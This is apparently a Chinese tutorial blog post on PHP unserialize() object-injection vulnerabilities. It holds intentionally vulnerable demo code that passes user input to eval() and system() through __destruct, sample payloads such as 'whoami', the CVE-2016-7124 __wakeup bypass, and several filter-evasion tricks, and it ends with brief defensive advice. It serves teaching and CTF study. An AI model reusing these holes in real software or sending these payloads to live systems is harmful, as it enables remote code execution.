0x01 PHP的序列化与反序列化

简介

PHP官方文档中说到:所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

通常我们定义了一个类的对象,其中保存了一些属性值,为了方便下次可以继续使用在这个对象或者在其他的文件中可以使用该对象,于是就可以调用serialize()函数将该对象序列化为字符串的形式,将该字符串保存起来,等到需要使用该对象时只需将该字符串传过去并调用unserialize()函数对其反序列化即可。

  • serialize():将一个对象转成字符串形式,方便保存以便于下次再次反序列化出该对象直接使用。

  • unserialize():将序列化后的字符串反序列化成一个对象。

PHP序列化

主要是调用serialize()函数实现对指定对象的序列化操作。

demo.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Test{
public $name;
public $blog;
}

$test = new Test();
$test->name = "Mi1k7ea";
$test->blog = "https://www.mi1k7ea.com";
echo "创建对象并给其属性赋值:<br>";
foreach($test as $key => $value) {
echo $key." => ".$value."<br>";
}

$str = serialize($test);
echo "<br>对象序列化后的字符串:".$str;
$f = fopen('test.txt', 'w');
fwrite($f, $str);
fclose($f);

?>

运行后,可以看到创建的对象序列化后的字符串:

PHP反序列化

主要是调用unserialize()函数实现对指定序列化字符串进行反序列化为对象的操作。

demo2.php:

1
2
3
4
5
6
7
8
9
10
11
<?php
$f = fopen("test.txt", "r");
$str = fread($f, filesize("test.txt"));
echo "读取序列化的字符串:".$str;
echo "<br><br>经过反序列化后的结果如下:<br>";
$test = unserialize($str);
foreach($test as $key => $value) {
echo $key." => ".$value."<br>";
}

?>

运行后,可以看到反序列化后得到对象实例:

序列化字符串格式

一般的,序列化字符串的格式为:

1
变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

其中,常见的序列化数据类型标志如下:

标志 数据类型
i 整数
d 浮点数
O 对象
R 引用
S 字符串Hex
s 字符串
a 数组
b 布尔值
N NULL

由前面的Demo可知,创建的对象序列化后的内容为:

1
O:4:"Test":2:{s:4:"name";s:7:"Mi1k7ea";s:4:"blog";s:23:"https://www.mi1k7ea.com";}

简单分析一下,“O”即Object对象,“4”为对象名的长度,“Test”即对象名,“2”为对象的属性个数;进入大括号为属性的内容,“s”即string字符串类型,“4”即该属性名的长度,“name”即该属性名,接着“;”分号间隔键值或不同属性,这里为间隔键和值,后续的同理分析。

PHP魔法函数

PHP魔法函数包括但不限于如下表:

函数 说明
__construct() 构造函数,当一个对象创建时被调用。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作
__destruct() 析构函数,当一个对象销毁时被调用。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串
__wakeup() 调用unserialize()时触发,反序列化恢复对象之前调用该方法,例如重新建立数据库连接,或执行其它初始化操作。unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup(),预先准备对象需要的资源。
__sleep() 调用serialize()时触发 ,在对象被序列化前自动调用,常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个E_NOTICE级别的错误
__call() 在对象上下文中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发

更多的PHP魔法函数可参考:https://www.php.net/manual/zh/language.oop5.magic.php

0x02 unserialize()反序列化漏洞

基本原理

PHP在进行反序列化操作时,若存在相应的魔法函数、unserialize()函数的参数可控且可以传递到魔法函数中执行相应的危险敏感操作,则会造成PHP反序列化漏洞的风险。

利用前提

  • unserialize()函数的参数可控;
  • 代码中存在一个构造函数、析构函数、__wakeup()函数中有向php文件中写数据的操作的类或执行PHP代码或命令执行的类;
  • 所写的内容需要有对象中的成员变量的值。

魔法函数调用次序

一个简单的测试Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class Vuln{
public $name;
public $blog;
function __construct(){
echo "[*]调用__construct()<br>";
}
function __destruct(){
echo "[*]调用__destruct()<br>";
}
function __wakeup(){
echo "[*]调用__wakeup()<br>";
}
function __sleep(){
echo "[*]调用__sleep()<br>";
return array('name', 'blog');
}
function __toString(){
echo "[*]调用__toString()<br>";
return $this->name." : ".$this->blog."<br>";
}
}

echo "开始初始化对象...<br>";
$test = new Vuln();
$test->name = "Mi1k7ea";
$test->blog = "https://www.mi1k7ea.com";
echo "创建对象并给其属性赋值:<br>";
foreach($test as $key => $value) {
echo $key." => ".$value."<br>";
}

echo "开始序列化对象...<br>";
$str = serialize($test);
echo "对象序列化后的字符串:".$str."<br>";
echo "开始反序列化对象...<br>";
$str2 = unserialize($str);
echo $str2;
?>

运行后可以看到各个魔法函数的调用次序:

反序列化漏洞Demo

vul_demo.php:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Vuln{
public $name;
function __destruct(){
eval($this->name);
}
}

$str = $_GET['p'];
unserialize($str);

?>

然后根据利用前提条件,构造序列化的字符串payload访问即可:

1
2
3
4
5
6
7
8
<?php
class Vuln{
public $name="phpinfo();";
}

echo serialize(new Vuln());

?>

输出如下,当然熟练的话就可以直接手写了:

1
O:4:"Vuln":1:{s:4:"name";s:10:"phpinfo();";}

或者是命令执行,只需将eval()换为system()等即可:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Vuln{
public $name;
function __destruct(){
system($this->name);
}
}

$str = $_GET['p'];
unserialize($str);

?>

POP链构造

POP(Property-Oriented Programing)面向属性编程,常用于上层语言构造特定调用链的方法,与二进制利用中的ROP(Return-Oriented Programing)面向返回编程的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。

简单地说,PHP反序列化POP链和Java反序列化Gadget链是一个道理,就是一般在反序列化直接调用的魔法函数中可能不会存在明显的危险操作,但是在其中调用的某个函数的调用链中可能会触发危险操作,而构造出从PHP反序列化调用魔法函数进而调用到这条存在危险操作的函数调用链就称为POP链构造。

具体的POP链构造可参考文章:PHP对象注入之pop链构造

案例

参考网上关于Typecho v1.0反序列化漏洞即可,这里可参考Kingkk大佬的博客:Typecho反序列化漏洞复现

0x03 __wakeup()绕过(CVE-2016-7124)

影响版本

  • PHP 5 < 5.6.25
  • PHP 7 < 7.0.10

基本原理

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup()函数的执行。

Demo

wakeup_test.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Test{
public $name;
function __wakeup(){
echo "调用了__wakeup()<br/>";
}

function __destruct(){
echo "调用了__destruct()<br/>";
echo "反序列化得到的对象的name属性值为:$this->name";
}
}

$str = $_GET['p'];
unserialize($str);

?>

输入正常的对象属性个数O:4:"Test":1:{s:4:"name";s:7:"Mi1k7ea";},看到__wakeup()和析构函数都被调用了:

当输入对象属性个数>真实属性个数即O:4:"Test":2:{s:4:"name";s:7:"Mi1k7ea";},看到__wakeup()就被绕过不执行了:

0x04 绕过Tricks

针对PHP反序列化漏洞的过滤机制,可以使用如下一些Tricks来绕过。当然这些Tricks可以进行组合利用。

这里以前面反序列化Demo为例,其payload为:

1
O:4:"Vuln":1:{s:4:"name";s:6:"whoami";}

追加任意字符串

序列化字符串之后追加任意字符串,不影响反序列化的进行:

1
O:4:"Vuln":1:{s:4:"name";s:6:"whoami";}test_by_mi1k7ea

长度前面添加0

在序列化字符串中表示长度的数字前添加一个或者多个0,不影响反序列化的进行:

1
O:4:"Vuln":000001:{s:0004:"name";s:06:"whoami";}

S数据类型的字符串Hex编码

当将序列化字符串中数据类型从s改为S时,数据内容就可以从字符串变为字符串Hex形式了:

1
O:4:"Vuln":1:{S:4:"\6e\61\6d\65";S:6:"\77\68\6f\61\6d\69";}

该技巧在其他文章中提到过:PHP反序列化绕过限制Tricks

大概讲的是PHP序列化的时候private和protected变量会引入不可见字符\x00,输出和复制的时候可能会遗失这些信息,导致反序列化的时候出错,利用该Trick就可以更加方便进行反序列化Payload的传输与显示,可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。这种Trick在CTF中也比较常见。

任意单个字符代替s之后的;

在序列化字符串中使用任意单个字符代替s之后的分号,不影响反序列化的进行:

1
O:4:"Vuln":1:{s:4:"name"Xs:6:"whoami";}

任意两个字符替换O之后的:{

在序列化字符串中使用任意两个字符代替O之后的:{,不影响反序列化的进行:

1
O:4:"Vuln":1XXs:4:"name";s:6:"whoami";}

数字前面添加+

在序列化字符串中的数字前面添加+,不影响反序列化的进行:

1
O:+4:"Vuln":+1:{s:+4:"name";s:+6:"whoami";}

注意,在URL栏中输入记得对+号进行URL编码:

该技巧在其他文章中说到,并非只有O:后面才能加+,在数字类型前都可以添加:一道Bypass正则过滤的反序列化漏洞题目

数组中存储对象绕过O:开头限制

PHP中可反序列化类型有String、Integer、Boolean、Null、Array、Object等。如果开头就限制了序列化类型不能为Object,那么可以使用Array类型来将之前的对象包含进来再进行序列化,具体还是看这里:一道Bypass正则过滤的反序列化漏洞题目

PoC生成代码中在序列化新对象之前用array()将对象转换为数组内的元素即可:

1
2
3
4
5
6
7
8
<?php
class Vuln{
public $name="whoami";
}

echo serialize(array(new Vuln()));

?>

当然,熟练的话手写就可以了:

1
a:1:{i:0;O:4:"Vuln":1:{s:4:"name";s:6:"whoami";}}

0x05 防御方法

  • 要严格控制unserialize()函数的参数,坚持用户所输入的信息都是不可靠的原则;
  • 要对于反序列化后的变量内容进行检查,以确定内容没有被污染。